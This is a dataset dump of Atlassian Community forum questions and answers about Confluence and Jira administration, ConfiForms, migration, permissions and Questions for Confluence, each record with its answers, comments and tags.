Datasets:

youngmon

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atlassian-qna

like 1

{ "author": "touchlineconnect", "title": "Restricted Public Link", "body": "When we have a public link for a space any user accessing that link can then also navigate and access any other public links that we make available.\n\nIs there a way to provide a public link that functions as a unique instance? That is where users on that public link are not able to navigate from that link to see and access other public links that we make available.\n\nExample we have is publishing a knowledge base or support material for different user types (eg: User and Administrator). We want these public spaces to be separate unique instances where users cannot navigate from one public space to the other. Visitor in the User space could not navigate from that public space to the Administrator public space.\n" }

[ { "author": "Dave Mathijs", "body": "Hi [@touchlineconnect](/t5/user/viewprofilepage/user-id/682484)\n\nEach public link corresponds to one content item only. If you turn on and share a public link for a content item that has any child items, the public link will only reveal the parent item, not any of the child items. To share the child items too, you'll need to turn on their public links and share each of them individually.\n\nSo I don't really understand your question. There's a difference between the public link of a page and a public space (with anonymous access).\n", "comments": null } ]

[ "cloud", "confluence-cloud", "public-link" ]

{ "author": "Matthew Martin", "title": "WYSIWYG Editor - Disable Pasting Images", "body": "Hey Alex and community,\n\nI have a Jira-connected form using the **Create Jira Issue** IFTTT. The form uses WYSIWYG fields to capture data. My challenge is that pasted images into a WYSIWYG field do not appear in Jira. I believe this is as intended and is a known quantity.\n\nAs this issue cannot be resolved, I want to know if I can stop or disable images being pasted into the WYSIWYG editor in the first place.\n\nThank you-\n" }

[ { "author": "Alex Medved _ConfiForms_", "body": "Hi [@Matthew Martin](/t5/user/viewprofilepage/user-id/1241049)\n\nInteresting enough is that this is the most requested functionality for ConfiForms WYSIWYG field (to embed images on copy-paste)\n\nAs I understand, you send the contents of this field to Jira - Jira (to my knowledge) does not have a renderer which supports embedded images\n\n<https://confluence.atlassian.com/adminjiraserver/configuring-renderers-938847270.html>\n\nWe have no option to disable this functionality on ConfiForms side at the moment\n\nAlex\n", "comments": [ { "author": "Matthew Martin", "body": "No worries, Alex. If you do end up developing an option to hide the button or stop it, let me know.\n" } ] } ]

[ "confiforms", "confluence-data-center", "confluence-server", "data-center", "server" ]

{ "author": "Stacy Wayne", "title": "Confluence Updates", "body": "I am just curious if North has a committee or a group of leaders that are over the confluence Spaces? Does North offer direct training on how to update spaces in Confluence.\n" }

[ { "author": "Benjamin", "body": "Welcome [@Stacy Wayne](/t5/user/viewprofilepage/user-id/5601973) !\n\nFeel free to look in our group section to see where are all the Atlassian chapters located. We have leaders all over the world holding ACE events which shared learning and information across the Atlassian Suite. For training, you may want to look into Atlassian Partners for Confluence training services from the Atlassian partner directory.\n\nHope this helps.\n", "comments": null } ]

[ "cloud" ]

{ "author": "Data Cefinn", "title": "My Confluence Page has been dissapeared", "body": "Hello all,\n\nI had spent some time to create the documentation for an internal app for the company I work for.\n\nThe URL is\n\n<https://cefinnapp.atlassian.net>\n\nHowever since the last 2 months when I try to login to my Confluence Page, I see the following:\n\nYour Atlassian Cloud site is currently unavailable. \n\nPlease check [Atlassian Status](https://status.atlassian.com/) for known problems. \nIf there are no known problems and your page hasn't appeared again in 5-10 minutes then please contact our support team.\n\nAny idea why my Page has gone?\n\nIs my work gone as well?\n" }

[ { "author": "Samuel Gatica", "body": "Hi [@Data Cefinn](/t5/user/viewprofilepage/user-id/5601894)\n\nWelcome to the community!\n\nIt seems that your page has been deactivated. Has your site been actively used lately, or has it been sitting idle for a while?\n\nIf your site has been inactive for a while, there's a chance it might have been deactivated. If that's the case, the Billing Contacts listed for your site should have received several emails beforehand warning of the deactivation.\n\nI suggest you open a ticket with [Atlassian Support](https://support.atlassian.com/contact/#/)\n\nBest regards\n\nSam\n", "comments": null }, { "author": "Alex Ortiz", "body": "Submit a ticket with Atlassian Support. Atlassian has been really keeping an eye on inactive sites and deactivating them.\n\n<https://support.atlassian.com/contact/#/>\n", "comments": null } ]

[ "cloud", "confluence-cloud" ]

{ "author": "Karim Mohamed", "title": "Confluence Files", "body": "Hi, \n\nAre files in Confluence Cloud able to open in a a new tab instead of being previewed/downloaded by default ? \n\nFor example, a PDF would open in Chrome for example\n" }

[ { "author": "Shawn Doyle - ReleaseTEAM", "body": "Hi [@Karim Mohamed](/t5/user/viewprofilepage/user-id/5046408)\n\nIn Cloud it will only allow you to download, it's a security thing.\n\n[https://jira.atlassian.com/browse/CONFCLOUD-76233#:\\~:text=By%20default%2C%20when%20an%20attachment,Word%20files%2C%20for%20example](https://jira.atlassian.com/browse/CONFCLOUD-76233#:~:text=By%20default%2C%20when%20an%20attachment,Word%20files%2C%20for%20example)).\n", "comments": null } ]

[ "cloud", "confluence-cloud" ]

{ "author": "Tim Wilson", "title": "I want to add this product but only for select users - not everyone. What steps are required?", "body": "It seems the default step adds it for all users and i only want to add it for select users.\n" }

[ { "author": "Kristian Klima", "body": "Hi [@Tim Wilson](/t5/user/viewprofilepage/user-id/5601832) and welcome to the Community.\n\nYou may need to elaborate a bit on what product we're discussing...\n\nHaving said that, in general terms.\n\nAtlassian products (Confluence, Jira, etc.) - you can mix and match your user across those products. Within your org, you can have 100 seats on Jira, 40 on Confluence. 30 people of those can have access to both.\n\nMarketplace apps - these are licensed per the user count on the Atlassian product they're installed on. So in the scenario above, if you install an app on Confluence, it will be licensed for 40 users. Same applies to Jira apps. Now, Enterprise tier gives you more options when it comes to organizing your Atlassian organization but that's another story.\n\nSome apps do come with their own permission settings - you still pay per licensed user - but you can select which user/user group can a) access an app, b) perform specific operations within the app.\n", "comments": [ { "author": "Tim Wilson", "body": "My apologies - I had clicked on the Confluence product selection dropdown, so I thought that was part of the details that would come across as well. I only want to add Confluence to about 3-5 users to begin with ....not the 130+ in my entire user community. It appears that when adding the product, it indicates it will add it for all active users. I do not want to do that. Thanks for your help.\n" } ] } ]

[ "cloud", "confluence-cloud", "not-applicable", "organization-administration" ]

{ "author": "Oliver Sutton", "title": "Confiforms IFTTT create page, created page to have a template format", "body": "Hello , I'm fairly novice when it comes to using confluence so bare with me.\n\nI have a from that gathers some basic information and I would like for it to create a page, where I can see the data for that entry, and also follow a template for some things that are typically tracked later. I've had success creating the page but no mater what I put in the page editors section the page is empty.\n\nDo I need to create another IFTTT within that one or something else. any help would be great thanks !\n" }

[ { "author": "Alex Medved _ConfiForms_", "body": "The layout for the page you create with ConfiForms IFTTT is what you have in the macro body. What do you have there?\n", "comments": [ { "author": "Oliver Sutton", "body": "Ok well as obvious as that now is, I was able to paste my template format into the body and it is displaying that information, is there a way that I can show data just from that specific entry onto the page? Maybe a registration control?\n\nThanks for the help!\n" }, { "author": "Alex Medved _ConfiForms_", "body": "Not sure I get the question... What do you have in the template?\n\nRegistrations Control is not for showing records, but for building a form view (to create new records)\n" } ] } ]

[ "addon-com.vertuna.confluence.plugins.confiforms", "confiforms", "confluence-data-center", "data-center" ]

{ "author": "Marcella", "title": "Is Flexible Space Navigation for Confluence visible to guest users?", "body": "Hi there,\n\nI need to know if the menus made with *Flexible Space Navigation for Confluence*are visible to guest users or not.\n\nThanks a lot\n\nMarcella\n" }

[ { "author": "Laura Campbell _Seibert Media_", "body": "Hi [@Marcella](/t5/user/viewprofilepage/user-id/5511739) and welcome to Community.\n\nI would recommend reaching out to the vendor behind the app or consulting their product documentation. You should be able to find contact information on the Marketplace listing.\n", "comments": null } ]

[ "addon-kr.osci.apps.space_nav_confluence", "atlassian-marketplace", "cloud", "confluence-cloud" ]

{ "author": "Anoy Antony", "title": "Strike through completed Jira stories that is inserted in confluence page.", "body": "I have added Jira stories in my confluence page and it will show/available for everyone to see. When I change the status of the story to Done, in the Jira scrum/Kanban board the key will show with strike through. I need same way strike through for the same Jira story added into the confluence page.\n\nHow to achieve this?\n" }

[ { "author": "Dave Mathijs", "body": "Hi [@Anoy Antony](/t5/user/viewprofilepage/user-id/5601605) Welcome to the Atlassian Community!\n\nI just reproduced this and indeed, I would also expect issues with a resolution set to have a strike through.\n\nI propose to submit an in-product suggestion via Help \\> Feedback to get this to the attention of Atlassian.\n", "comments": null } ]

[ "cloud", "confluence-cloud", "jira-cloud", "kanban", "strikethrough" ]

{ "author": "David Laine", "title": "What have you done to the Page Properties Report in Confluence Cloud?", "body": "I have just been trying to use the Page Properties report in Confluence Cloud (its been quite a number of months since I last used it) and it is completely broken - What have you done Atlassian??\n\nI am using filters for \"current space\" and sub pages for \"current page\" and the results are, well, I get a random list back - even get content when I have deleted the sub pages!\n\nIs anyone else experiencing this?\n" }

[ { "author": "David Laine", "body": "I think I know the answer...\n\nI re-visited my page after about an hour and it had updated correctly.\n\nThe indexing/re-indexing in Confluence for page properties is painfully slow - certainly with the instance and data sizes we have.\n\nHowever, this is very frustrating when you are creating/building a page, adding a new page properties macro and trying to test to see that you have picked up the correct data with the filters you selected. We also use indented folders and only pick up the children at each level.\n", "comments": null }, { "author": "Shawn Doyle - ReleaseTEAM", "body": "Hi [@David Laine](/t5/user/viewprofilepage/user-id/5227431)\n\nI tested this on my cloud instance and it seems to be working as expected. I do see some quirkiness in the settings popup for the report macro, when the options do not display correctly, yet while awkward to fill out, once I did I was able to get the report to work. I tested both modifying an existing report and creating a new one.\n", "comments": [ { "author": "David Laine", "body": "Thanks for looking.\n\nPlease also see my answer\n" } ] } ]

[ "cloud", "confluence-cloud", "page-property" ]

{ "author": "Rayman Bacchus", "title": "Confiforms Audit Log", "body": "Today, my question concerns the IFTTT macro for Audit\n\nI created three IFTTT's onCreated, onModified, onDeleted to track what was done under a specific createdid (at least this is what I think the Audit function will do)\n\nIs there a way for me to show the Audit Log on a tab in a Confluence Page (I use Deck of Cards, and Card for the Confluence page). So on the last \"card\"....I want to show the audit history of a particular record.\n\nI want something like this\n\nField, UpdatedData, OldData, DateofChange, Event\n\nIs this even possible? I don't see anywhere in Audit where olddata, updateddata is stored. \n\nThis is what I currently have, but although I updated FraudApps - and it's not showing in the log \n\n![Capture.PNG](https://community.atlassian.com/t5/image/serverpage/image-id/349257iE2C3B6BAC80B00E9/image-size/large?v=v2&px=999 \"Capture.PNG\")\n" }

[ { "author": "Alex Medved _ConfiForms_", "body": "Have a look at this page <https://wiki.vertuna.com/display/CONFIFORMS/Using+new+Audit+IFTTT+action>\n\ncreated field in the audit log form will show the \"DateofChange\", and the audit log form has all the fields that you have in your original form\n\nIn addition it has two more fields\n\n**_event**\n\n**_ref**\n\nTo get an event and reference to entry (in original form)\n", "comments": [ { "author": "Rayman Bacchus", "body": "As always, THANKS A TON Alex. Your knowledge is very appreciated.\n\nOne question - is there a field in the audit_log that says WHAT field changed? I was thinking a hasChanged() but do I need to do that for all fields in the form?\n" }, { "author": "Alex Medved _ConfiForms_", "body": "The audit log logs every change unless you make it configurable via condition\n" }, { "author": "Rayman Bacchus", "body": "THis is very close to what I like to see:![Capture.PNG](https://community.atlassian.com/t5/image/serverpage/image-id/349355iCB8492F14FC49CD0/image-size/large?v=v2&px=999 \"Capture.PNG\") \n\nI was hoping to have Event, Created timestamp, Last Updated By, FieldThat Changed, old field data, new field data. \n\nHowever, I don't think that is possible. I know there is a _previousState command but I'm not even sure how to use that command and I don't think it works in a TableView. I cant have the field = _previousState.\\[entry.fieldsthatchanged\\] \n\n<br />\n" } ] } ]

[ "audit-log", "confiforms", "confluence-data-center", "data-center" ]

{ "author": "Luc Comeau", "title": "SMART LINKS on Mobile Browser show Login to Confluence Loop", "body": "1. I want to have a SmartLink that points to another Page in another Space.\n\n2. I Verified my Smart link works on desktop browser\n\n3. On Ipad opening that smartlink used to work in Safari but now we have a prompt to log in to confluence, that infinite loops to login prompt.\n\n![IMG_E7A7F64AF419.png](https://community.atlassian.com/t5/image/serverpage/image-id/349259i6C8A12E447716975/image-dimensions/259x199?v=v2 \"IMG_E7A7F64AF419.png\")\n\nSafari cookie blockers are off\n\nThis used to work on mobile browser.\n\nanyone experiencing this currently\n" }

[ { "author": "Shawn Doyle - ReleaseTEAM", "body": "Hi [@Luc Comeau](/t5/user/viewprofilepage/user-id/5297947)\n\nI don't have an iPad, but I do have an Android tablet. I created a page with a smartlink, and was able to navigate on my tablet via a Chrome browser without entering an endless loop to the login screen. I was already logged in when testing.\n\nSorry, I am not able to reproduce it. I'm not sure if Safari is the culprit, or maybe it isn't saving your login creds due to some iPad security feature..\n", "comments": [ { "author": "Luc Comeau", "body": "Appreciate you testing [@Shawn Doyle - ReleaseTEAM](/t5/user/viewprofilepage/user-id/815120)\n\ni can confirm that for all my users on IOS that they are experiencing the problem in both Safari and Chrome for IOS.\n\nAlso - what's strange is that for all my users , it worked fine before today.\n" } ] } ]

[ "cloud", "confluence-cloud" ]

{ "author": "Asif Bhat", "title": "How to Develop a Confluence App for Extracting and Searching Workspace Pages?", "body": "Hi\n\nI'm looking to develop an app in Confluence that can extract all the pages from a given workspace and upload them to an external location. Additionally, I want to implement a search feature where users can ask questions about the uploaded content and receive relevant answers. Any advice on the best approach to achieve this?\n\nThanks\n" }

[ { "author": "Kristian Klima", "body": "Hi [@Asif Bhat](/t5/user/viewprofilepage/user-id/5601512) and welcome to the Community. \n\nJust for your information, there are apps that do that:\n\n* Scroll Viewport\n* Instant Website\n\nAnd probably more.\n", "comments": [ { "author": "Asif Bhat", "body": "I created an app via forge. How do I make a jar file out of it?\n" }, { "author": "Kristian Klima", "body": "That I don't know.\n\nBut this may help: <https://developer.atlassian.com/platform/marketplace/listing-forge-apps/>\n" }, { "author": "Laura Campbell _Seibert Media_", "body": "A jar file is only for on premise apps. If you are only building the app for yourself, this link may help (the process for building your own internal Forge app versus releasing something on the Marketplace are a bit different) <https://developer.atlassian.com/platform/forge/build-a-hello-world-app-in-confluence/>\n" } ] } ]

[ "cloud", "confluence-cloud" ]

{ "author": "Barbara Acker", "title": "Can teams also be used to give access to pages?", "body": "I just saw that it is possible to create teams so that several people can be mentioned or that pages can be shared. However - if I saw correctly - it is not possible to use those teams for giving permissions to pages?\n\nIs this planned to come in the future?\n\nI would really appreciate this feature since I am not a site admin and do not have access to create groups.\n" }

[ { "author": "Brant Schroeder", "body": "[@Barbara Acker](/t5/user/viewprofilepage/user-id/5495826) you are correct that you are not able to use teams to provide access to pages or spaces. Users and groups are still used to do this. I did not see anything like this on the cloud roadmap <https://www.atlassian.com/roadmap/cloud> I also was not able to find a product enhancement for this either. I would suggest submitting one here: <https://jira.atlassian.com/secure/Dashboard.jspa?selectPageId=10440>\n", "comments": null } ]

[ "atlassian-accounts", "cloud", "confluence-cloud", "not-applicable", "permission", "teams" ]

{ "author": "Lydia Rose Collomosse", "title": "Reset password", "body": "I need to log into Confluence to access a site. There is no password reset link at the login stage and i have looked on various help resources on Confluence, Atlassian etc. and articles but they either point me to other links that i can't access or advise to follow paths that i can't see exist on the page.\n\nPlease can you help me? Thanks,\n\nLydia\n" }

[ { "author": "Radek Dost?l", "body": "If there is no \"Can't login?\" link then it has been disabled, likely because you are connecting to Confluence using an active directory, i.e. external password verification.\n\nThe only team that can help you is that who manages your Confluence instance, which is more than likely a team or a group in your/that company - maybe there is a support link somewhere there how to reach them.\n\nSo basically a few things can happen:\n\n- either you have a local account (local to Confluence, Confluence manages your password), then the link is just disabled, but the page itself *might* still be available at confluence.url/forgotuserpassword.action -- keep in mind this will probably not work though.. because there should be a reason why the link was hidden\n\n- or you have an externally managed account (Confluence does not manage your password, it does not have it), most likely that would be how you log into your laptop or other tools\n\n- or your account in Confluence is disabled, regardless of the above 2, it won't permit you to log in, I think it would still give the same confusing error but I am a bit hazy on this\n\nEither way, it's the team that manages that Confluence instance that you need to contact, they should know how Confluence authentication is set up, check if there's anything wrong with your account.\n", "comments": null } ]

[ "confluence-unknown-hosting-type", "unknown-hosting-type" ]

{ "author": "Tharunkumar B", "title": "Broken Links Issue After Confluence Migration", "body": "**Description:** \nAfter the recent migration, we are experiencing a significant issue across all pages in Confluence. While the page titles and content are accurate, the URLs have changed, resulting in broken links that prevent users from accessing the intended pages.\n\n**Example:**\n\n**Before Migration:**\n\n* **Title:** \"TIEC New joiners guide\" \n **Content:** \"Steps to set up development machine in TIECC for Avant platform\" \n **URL:** <https://old-confluence-url.com/pages/viewpage.action?pageId=123456> (Correct old URL)\n\n**After Migration:**\n\n* **Title:** \"TIEC New joiners guide\" \n **Content:** \"Steps to set up development machine in TIECC for Avant platform\" \n **URL:** <https://new-confluence-url.com/pages/viewpage.action?pageId=654321> (Correct content, but the link is broken) or TIECC New joiners guide\"(when u click the link,its showing same page)\n" }

[ { "author": "Kristian Klima", "body": "Hi [@Tharunkumar B](/t5/user/viewprofilepage/user-id/5302946)\n\nI've been off the on-premise Confluence for years but unless I'm very much mistaken, migrated content will have different page IDs compared to the original. Which is an issue if you're referencing the content from outside of Confluence.\n\nHaving said that, the links among the pages of the migrated content WILL work with new page IDs providing the content was migrated in one go.\n\nThis might help - <https://confluence.atlassian.com/confkb/the-differences-between-various-url-formats-for-a-confluence-page-278692715.html>\n\nIt seems that using the 'pretty format'\n\n https://confluence.example.com/display/SPACEKEY/Page+Title\n\nprevents the post-migration link link issue.\n", "comments": null } ]

[ "confluence-unknown-hosting-type", "unknown-hosting-type" ]

{ "author": "NIDHI BHANDARI", "title": "How to insert and make videos play automatically now that the multimedia macro is deprecated", "body": "We want to add a video to one of our pages and make it play automatically. Since the multimedia macro is deprecated and the HTML macro is not available on the New editor, is there an alternate way to achieve this?\n" }

[ { "author": "Barbara Szczesniak", "body": "[@NIDHI BHANDARI](/t5/user/viewprofilepage/user-id/3658506) Are you attaching the video file to your page or are you embedding a video from somewhere else with a link? (see <https://support.atlassian.com/confluence-cloud/docs/work-with-images-videos-and-files/> for instructions on the different types of videos)\n\nIf you are more concerned about the video playing automatically, I don't have experience with whether this happens or not.\n\nYou might also want to see answers to this previous question: <https://community.atlassian.com/t5/Confluence-questions/Embed-youTube-videos-in-confluence/qaq-p/2810866>\n", "comments": null } ]

[ "cloud", "confluence-cloud" ]

{ "author": "Heike Landschulz", "title": "Kein Zugriff auf das Atlassian wiki", "body": "Wir haben seit 2 Wochen keinen Zugriff auf die Seite\n\n[https://XXXX.atlassian.net/wiki/spaces/\\~138185928/pages/491521/Doku+Angebotswesen](https://XXXX.atlassian.net/wiki/spaces/~138185928/pages/491521/Doku+Angebotswesen)\n\nIst das gesperrt in meinem kostenlosen Account oder mu? ich das irgendwo einstellen?\n\nWe haven't had access to the site for 2 weeks [https://XXXX.atlassian.net/wiki/spaces/\\~138185928/pages/491521/Doku+Angebotswesen](https://XXXX.atlassian.net/wiki/spaces/~138185928/pages/491521/Doku+Angebotswesen) Is this blocked in my free account or do I have to set it up somewhere?\n" }

[ { "author": "Kristian Klima", "body": "Hi [@Heike Landschulz](/t5/user/viewprofilepage/user-id/5601152) and welcome to the community.\n\nI used to have a Free Confluence which I used very sporadically and was never locked out two weeks. I remember getting emails prompting me to log in but it was 'if you don't log in within a couple weeks, you're out'.\n\nHowever, I did experience issues getting in because I also used my work confluence under the same Chrome account and I would get into a login loop. Solution - two accounts or two browsers.\n", "comments": [ { "author": "Heike Landschulz", "body": "Hello Kristian, \nthanks for your answer. \nWe are all logged in with a account. \nAnd it worked until 2 weeks ago ?\n\nHallo Kristian, \ndanke f?r Deine Antwort. \nWir sind alle angemeldet mit einem Account. \nUnd bis vor 2 Woche hat es funktioniert ?\n" } ] } ]

{ "author": "Stefan Weckmann-Kaffarnik", "title": "Not able to Create BACKUP POLICY in Confluence Cloud", "body": "HI,\n\nregarding the following description:\n\n[Create a backup policy and run backups \\| Atlassian Support](https://support.atlassian.com/organization-administration/docs/create-a-backup-policy-and-run-backups/)\n\nAs Admin i am not able to create a BackUp Policy for our confluence instance.\n\nThere is no posibility to choose the named option\n\n1. Go to [admin.atlassian.com](http://admin.atlassian.com/). Select your organization if you have more than one.\n\n2. Select **Settings** \\> **Data management**.\n\n3. Select **Backup and restore**. (not able to choose this option under \"Data Management\"\n" }

[ { "author": "Nick Wade", "body": "Have you been accepted into the EAP for new backup features (as a customer)? You'll need that before seeing these, a note about this is currently at the top of the doc you linked.\n", "comments": null } ]

[ "cloud", "questions-for-confluence-cloud" ]

{ "author": "Michael E", "title": "Allow for both , and . to be used as decimal place when entering number?", "body": "We're an international team, and some regions write it as 1,5 instead of 1.5\n\nHowever, in Jira you are forced to enter numbers as 1.5\n\nas it'll tell you 1,5 is an invalid number.\n\nIs it possible to configure Jira to accept both decimal separators when entering numbers?\n" }

[ { "author": "Kristian Klima", "body": "Hi [@Michael E](/t5/user/viewprofilepage/user-id/5169304)\n\nEven if it was possible, I advise strongly against allowing the practice of using both decimal point conventions.\n\nOn one hand, it's a question of entering the values. On the other, it's about interpretation - for both the humans and the machines. Suddenly, you have TWO ways of interpreting 123.456 and you have to rely on on secondary/circumstantial signs to make the judgement.\n\nSpreadsheet formulas won't work with the input, format, and language settings are not aligned (the issue I ran into with a recent expenses claim :) ).\n\nMy native language uses a decimal comma, but over the last two decades of working in multinational environments in media and IT, I adopted the period which as a common denominator for decimals.\n", "comments": null }, { "author": "Muhammad Moazzam Hassan", "body": "The numeric field does not support any character except a dot. \n\nBut you are not using this numeric field in any calculation in automation rules then you can use the short text field which supports all the characters.\n", "comments": null } ]

[ "cloud", "jira", "jira-core", "jira-server" ]

{ "author": "Guy Aharon", "title": "Mail going to inactive user.", "body": "Hi ,\n\nI have an issue when a user is inactive in our cloud environment and he get the Confluence mails.\n\nDoes this behavior is as design?\n\nIf yes, is there a way to remove him from notification? when is user is inactive, he cannot login and change his mail preferences.\n" }

[ { "author": "Mohamed Benziane", "body": "Hi,\n\nwelcome to the community.\n\nas stated by the documentation an inactive user can't receive mail. Can you make sure that the user is really inactive. If yes try to remove the user from any group\n", "comments": [ { "author": "Guy Aharon", "body": "Hi [@Mohamed Benziane](/t5/user/viewprofilepage/user-id/1531125) ,\n\nThanks for the reply.\n\nThe user state as \"This account is deactivated\".\n\nI cannot see groups that he related.\n\nBut if \"stated by the documentation an inactive user can't receive mail\" as you mention, why I should remove him from group? (if they are exist)\n" } ] } ]

[ "cloud", "questions-for-confluence-cloud" ]

{ "author": "oonatsky", "title": "(Migrate specific sections, not the whole space. (Partial content migratio)", "body": "Hello. I was wondering if there is any way to migrate certain sections and certain pages from an on-premise Confluence space to a cloud-based one. \n\nThe situation is the following: an on-premise Confluence space is shared by several teams and a cloud-based Confluence space is dedicated only to one team. That is why I don't need to migrate all the content and want to focus only on one section containing many child pages. \n\nThanks.\n" }

[ { "author": "Sagar", "body": "Hi [@oonatsky](/t5/user/viewprofilepage/user-id/5524382) Welcome to the Atlassian community.\n\nIf there are lot of pages in your on-prem confluence then you can follow the below method to migrate the required pages from on-prem to cloud\n\n* Create a new space.\n* Move the required pages you want to migrate to the new space.\n* Export that space and import it in the cloud instance.\n* Then Move the pages (Parent with child) to the existing space on Cloud.\n\nIf there are only few then you can follow the below KB document for exporting and importing the pages in Confluence\n\n<https://confluence.atlassian.com/doc/export-content-to-word-pdf-html-and-xml-139475.html>\n\n<https://support.atlassian.com/confluence-cloud/docs/import-content-into-confluence-cloud/>\n", "comments": null } ]

[ "cloud", "questions-for-confluence-cloud" ]

{ "author": "David Ansari", "title": "Confluence summary report showing tables", "body": "When I pull summary report, the /JIRA table comes in as a link instead of table.\n" }

[ { "author": "Valerie Knapp", "body": "Hi [@David Ansari](/t5/user/viewprofilepage/user-id/5225446) , thanks for your question. Please can you share a screen of the problem you want help with? Please feel free to anonymise any sensitive content.\n\nCheers\n", "comments": [ { "author": "David Ansari", "body": "Thank you. It seems that the table should show under confluence report when I exported as I have done similar with another company that I used to work for\n" }, { "author": "David Ansari", "body": "![Confluence page.png](https://community.atlassian.com/t5/image/serverpage/image-id/343260i73E0FD8B3432AE63/image-size/large?v=v2&px=999 \"Confluence page.png\")![summaryreport.png](https://community.atlassian.com/t5/image/serverpage/image-id/343261iC1BFC3C565169E98/image-size/large?v=v2&px=999 \"summaryreport.png\")\n" } ] } ]

[ "cloud", "questions-for-confluence-cloud" ]

{ "author": "Itamar Weisberg", "title": "Atlassian Community questions", "body": "Is the Atlassian Community based on Questions for Confluece? \nIf not, what is it built using?\n\nAre the community Kudos using the same Kudos add-on for Jira (by Candilyo)? If so, does that mean that Kudos can be easily used with Confluence as well as with Jira?\n" }

[ { "author": "Peter Van de Voorde", "body": "Hi [@Itamar Weisberg](/t5/user/viewprofilepage/user-id/5492899) , \n\nWelcome to the Atlassian Community. \n\nTo answer your question: No, this community is not based on Questions for Confluence. It used to be a long time ago for a little while but never since. The current community has been build on top of the [Khoros](https://khoros.com/platform/communities) platform. \n\nAnd no, the community kudos aren't linked to any add-on or app. \n\nCheers, \nPeter\n", "comments": [ { "author": "Bethu Ajay netha", "body": "Thanking you\n" } ] } ]

[ "data-center", "kudos", "questions-for-confluence-data-center" ]

{ "author": "Itamar Weisberg", "title": "Browser skips to answer box", "body": "I'm in the process of trying out QfC and I've noticed when loading a question page, the browser (Edge, Chrome and Firefox) will automatically skip down and focus on the \"answer\" text box, when what I expect is for it to stay at the top of the page, showing the highest-voted answer.\n\nIs this a known issue? Can you assist in preventing this?\n\nThis would be very annoying for users and can affect our decision to purchase the plugin.\n" }

[ { "author": "Andy Gladstone", "body": "[@Itamar Weisberg](/t5/user/viewprofilepage/user-id/5492899) Welcome to the Atlassian Community!\n\nThis does seem like a bug, but does not seem like a known issue. JAC (jira.atlassian.com) is where you can search all known and reported bugs, suggestions and support requests for the multitude of Atlassian Cloud and Data Center products to determine whether your issue has been reported or is being worked on. You should bookmark it for future use.\n\nI did search, and based on my search parameters, this issue does not appear to be reported.\n\n<https://jira.atlassian.com/secure/Dashboard.jspa>\n", "comments": [ { "author": "Itamar Weisberg", "body": "Thanks. I've opened a support ticket.\n" } ] } ]

[ "browser", "data-center", "questions-for-confluence-data-center" ]

{ "author": "John Bright", "title": "Importing Stackoverflow data into Questions for Confluence", "body": "Hi Atlassian Community,\n\nWe see **Questions for Confluence** is a product by Atlassian itself. \nWe wanted to migrate from ++StackOverflow++ to ++Questions for Confluence.++\n\nDo Atlassian have any tools or standard process to import the **StackOverflow data *into*Questions for Confluence**\n" }

[ { "author": "Andy Gladstone", "body": "[@John Bright](/t5/user/viewprofilepage/user-id/5476815) welcome to the Atlassian Community.\n\nThere is currently no tool that will convert Stack Overflow content into importable files/text for Confluence, or Questions for Confluence. I don't believe that Stack Overflow is even recognized by the Universal Wiki Converter, which would assist in importing content into Confluence. But Questions for Confluence is a different page structure and format and it would not likely allow you to populate a Questions for Confluence space with content converted using the UWC.\n\nIn short, the answer is no - and based on my experience it does not look like one will be developed.\n\nHope this helps!\n", "comments": [ { "author": "Andy Gladstone", "body": "[@John Bright](/t5/user/viewprofilepage/user-id/5476815) if my answer helped you, kindly mark it as accepted so that others looking for similar content can find and trust it.\n" } ] } ]

[ "cloud", "questions-for-confluence-cloud" ]

{ "author": "Alex Smitley", "title": "Questions for Confluence Slack Integration", "body": "I am trying to integrate Questions for Confluence to a Private Slack Channel and it is not working. I have tested it on a different Slack Channel that is also Private, and it worked there. Why might this be happening? What is the fix? Thanks!\n" }

[ { "author": "Vronik", "body": "Hi\n\nLook at this\n\n[https://marketplace.atlassian.com/apps/1215055/slack-for-confluence-chat-notification-questions?tab=overview\\&hosting=cloud](https://marketplace.atlassian.com/apps/1215055/slack-for-confluence-chat-notification-questions?tab=overview&hosting=cloud)\n\n<https://community.atlassian.com/t5/Confluence-questions/Integrating-Confluence-with-Slack/qaq-p/396682>\n", "comments": null } ]

[ "cloud", "confluence", "slack" ]

{ "author": "lbran", "title": "Slack integration for Questions for Confluence Application", "body": "Is there a way to have Slack notifications configured so that when a new question is asked we can get a notification in a slack channel?\n" }

[ { "author": "Vronik", "body": "Hi\n\nLook at this\n\n<https://support.atlassian.com/confluence-cloud/docs/use-slack-and-confluence-together/>\n\nIf my answer helped you, \nplease mark it as accepted so that other people looking for similar problems can find it more easily. \nThanks\n", "comments": null } ]

[ "cloud", "confluence-cloud" ]

{ "author": "Mallick, Sourav", "title": "Feature Parity - \"Questions for Confluence\" Server vs Cloud", "body": "We are planning to migrate from Confluence Server to Cloud.\n\nHence would like to know the feature parity of \"Questions for Confluence\" plugin/app between Confluence Server and Cloud.\n\nRequesting your assistance in this regard.\n" }

[ { "author": "Fabio Racobaldo _Herzum_", "body": "Hi [@Mallick, Sourav](/t5/user/viewprofilepage/user-id/5311735) and welcome,\n\nplease take a look to the documentation <https://support.atlassian.com/confluence-cloud/docs/use-questions-for-confluence/> in order to retrieve all information about cloud features.\n\nHope this helps,\n\nFabio\n", "comments": [ { "author": "Mallick, Sourav", "body": "Thanks [@Fabio Racobaldo _Herzum_](/t5/user/viewprofilepage/user-id/781528) for your response. I already went through the link you mentioned but could not get the feature comparison between the server and cloud versions. It would be helpful if I could get a link mentioning the differences in details / in a table format.\n" }, { "author": "Fabio Racobaldo _Herzum_", "body": "[@Mallick, Sourav](/t5/user/viewprofilepage/user-id/5311735) you need to request that information to Atlassian. Try to raise a request through Atlassian portal <https://support.atlassian.com/contact/#/>\n" } ] } ]

[ "cloud", "confluence", "confluence-cloud" ]

{ "author": "Lakshmi S", "title": "Unable to search questions in confluence", "body": "Hi Team,\n\nWe are unable to search old questions in the confluence questions search. It does not allow us to search for old questions. The questions are still out there, but I can't search for old questions in the search bar. Can anyone suggest how to search old questions in the search bar?\n\nPlease find the attached screenshot for your reference.\n\n![questions.PNG](https://community.atlassian.com/t5/image/serverpage/image-id/276775i447D77B4FACEF437/image-size/large?v=v2&px=999 \"questions.PNG\")\n" }

[ { "author": "Andy Gladstone", "body": "[@Lakshmi S](/t5/user/viewprofilepage/user-id/11952) your screenshot appears to be the Ask a Question dialog box. Have you searched in the actual search bar and found that questions are not being discplayed?\n", "comments": [ { "author": "Lakshmi S", "body": "Yes [@Andy Gladstone](/t5/user/viewprofilepage/user-id/3498028) , It does not allow us to search for old questions. The questions are still out there, but I can't search for old questions in the search bar.\n" } ] } ]

[ "confluence", "confluence-server", "server" ]

